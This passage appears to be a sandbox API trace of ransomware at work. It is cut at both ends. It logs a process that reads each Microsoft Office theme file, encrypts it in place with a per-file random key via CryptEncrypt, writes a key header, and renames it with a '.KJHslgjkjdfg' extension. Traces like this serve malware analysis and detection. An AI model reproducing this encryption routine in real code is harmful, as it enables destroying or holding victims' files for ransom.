hTemplateFile=0x0) returned 0x124 [0220.209] GetProcessHeap () returned 0x990000 [0220.209] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.209] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.209] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0220.209] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xc, lpOverlapped=0x0) returned 1 [0220.211] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.211] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.211] GetProcessHeap () returned 0x990000 [0220.211] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.212] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0220.212] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.212] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0220.212] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0220.212] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0220.212] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0220.212] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0220.212] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0220.213] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.213] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.213] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.213] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xf814, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0xf814, lpOverlapped=0x0) returned 1 [0220.215] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xf820, dwBufLen=0xf820 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xf820) returned 1 [0220.216] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.216] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xf820, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0xf820, lpOverlapped=0x0) returned 1 [0220.216] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.216] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xf8f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.216] SetEndOfFile (hFile=0x124) returned 1 [0220.220] GetProcessHeap () returned 0x990000 [0220.220] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.220] GetProcessHeap () returned 0x990000 [0220.220] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.220] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx.kjhslgjkjdfg")) returned 1 [0220.222] CloseHandle (hObject=0x124) returned 1 [0220.222] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b224e00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4b224e00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd2e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Grid.thmx", cAlternateFileName="GRID~1.THM")) returned 1 [0220.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0220.224] GetProcessHeap () returned 0x990000 [0220.224] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.224] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.224] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0220.224] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.224] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.224] GetProcessHeap () returned 0x990000 [0220.225] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0220.225] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30) returned 1 [0220.225] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.225] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f8*=0x30, lpOverlapped=0x0) returned 1 [0220.226] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0220.226] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0220.226] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0220.227] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0220.227] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0220.227] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.227] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.227] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.227] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd2e0, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0xd2e0, lpOverlapped=0x0) returned 1 [0220.229] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xd2e0, dwBufLen=0xd2e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xd2e0) returned 1 [0220.229] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.229] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd2e0, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0xd2e0, lpOverlapped=0x0) returned 1 [0220.229] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.230] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd3a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.230] SetEndOfFile (hFile=0x124) returned 1 [0220.232] GetProcessHeap () returned 0x990000 [0220.232] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0220.232] GetProcessHeap () returned 0x990000 [0220.232] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.232] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx.kjhslgjkjdfg")) returned 1 [0220.234] CloseHandle (hObject=0x124) returned 1 [0220.234] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x60041, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Hardcover.thmx", cAlternateFileName="HARDCO~1.THM")) returned 1 [0220.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0220.236] GetProcessHeap () returned 0x990000 [0220.236] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.236] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.236] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0220.236] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xf, lpOverlapped=0x0) returned 1 [0220.239] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.239] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.239] GetProcessHeap () returned 0x990000 [0220.239] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.239] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0220.239] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.239] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0220.239] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0220.239] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0220.239] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0220.239] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0220.240] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0220.240] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.240] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.240] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.240] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x60041, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x60041, lpOverlapped=0x0) returned 1 [0220.246] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x60050, dwBufLen=0x60050 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x60050) returned 1 [0220.251] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.251] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x60050, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x60050, lpOverlapped=0x0) returned 1 [0220.252] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.252] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x60124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.252] SetEndOfFile (hFile=0x124) returned 1 [0220.256] GetProcessHeap () returned 0x990000 [0220.256] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.256] GetProcessHeap () returned 0x990000 [0220.256] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.256] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx.kjhslgjkjdfg")) returned 1 [0220.258] CloseHandle (hObject=0x124) returned 1 [0220.258] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ad15600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7ad15600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3becb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Horizon.thmx", cAlternateFileName="HORIZO~1.THM")) returned 1 [0220.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0220.262] GetProcessHeap () returned 0x990000 [0220.262] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.262] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.262] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0220.263] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x5, lpOverlapped=0x0) returned 1 [0220.265] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.265] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.265] GetProcessHeap () returned 0x990000 [0220.265] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.265] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0220.265] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.265] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0220.266] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0220.266] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0220.266] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0220.266] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0220.266] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0220.266] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.266] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.266] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.266] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3becb, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x3becb, lpOverlapped=0x0) returned 1 [0220.271] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x3bed0, dwBufLen=0x3bed0 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x3bed0) returned 1 [0220.274] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.274] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3bed0, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x3bed0, lpOverlapped=0x0) returned 1 [0220.275] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.275] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3bfa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.275] SetEndOfFile (hFile=0x124) returned 1 [0220.280] GetProcessHeap () returned 0x990000 [0220.280] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.280] GetProcessHeap () returned 0x990000 [0220.280] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.280] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx.kjhslgjkjdfg")) returned 1 [0220.282] CloseHandle (hObject=0x124) returned 1 [0220.282] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x157d6500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x157d6500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x146a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Median.thmx", cAlternateFileName="MEDIAN~1.THM")) returned 1 [0220.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0220.285] GetProcessHeap () returned 0x990000 [0220.285] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.285] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.285] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0220.285] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x9, lpOverlapped=0x0) returned 1 [0220.291] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.291] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.292] GetProcessHeap () returned 0x990000 [0220.292] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.292] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0220.292] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.292] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0220.292] WriteFile (in: 